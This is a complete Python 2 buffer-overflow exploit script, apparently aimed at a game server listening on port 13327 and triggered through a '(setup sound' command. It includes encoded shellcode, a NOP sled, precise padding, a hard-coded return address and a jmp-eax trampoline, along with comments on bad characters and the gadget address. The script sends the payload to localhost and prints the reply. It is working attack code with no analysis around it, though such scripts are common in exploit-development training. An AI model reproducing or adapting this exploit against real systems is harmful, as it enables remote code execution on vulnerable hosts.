#!/usr/bin/python

import socket

 

#payload size = 105

payload = ("\xbf\xbe\xb0\xb3\xfc\xdb\xc6\xd9\x74\x24\xf4\x5e\x31\xc9\xb1"

"\x14\x83\xc6\x04\x31\x7e\x10\x03\x7e\x10\x5c\x45\x82\x27\x57"

"\x45\xb6\x94\xc4\xe0\x3b\x92\x0b\x44\x5d\x69\x4b\xfe\xfc\x23"

"\x23\x03\x01\xd5\xef\x69\x11\x84\x5f\xe7\xf0\x4c\x39\xaf\x3f"

"\x10\x4c\x0e\xc4\xa2\x4a\x21\xa2\x09\xd2\x02\x9b\xf4\x1f\x04"

"\x48\xa1\xf5\x3a\x37\x9f\x89\x0c\xbe\xe7\xe1\xa1\x6f\x6b\x99"

"\xd5\x40\xe9\x30\x48\x16\x0e\x92\xc7\xa1\x30\xa2\xe3\x7c\x32")

 

host="127.0.0.1"

#crash="\x41" * 4379

ret="\x97\x45\x13\x08"

#crash="\x41"*4368 + ret + "\x83\xC0\x0C\xFF\xE0" + "\x90"*2

crash="\x90"*10 + payload + "\x41" * (4368-10-105) + ret + "\x83\xC0\x0C\xFF\xE0" + "\x90"*2

#DELETE eip="\x42"*4

#badchars \x00.\x0a,\x0d,\x20

# nasm > jmp eax

# 00000000  FFE0              jmp eax

# nasm > add eax,12

# 00000000  83C00C            add eax,byte +0xc

# nasm >

#jmp,esp located at 08134597

 

buffer = "\x11(setup sound " + crash + "\x90\x00#"

#buffer = "\x11(setup sound " + pattern + "\x90\x00#"

 

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

 

print "[*] Sending evil buffer..."

s.connect((host, 13327))

s.send(buffer)

data = s.recv(1024)

print data

s.close()

print "[*]Payload Sent !"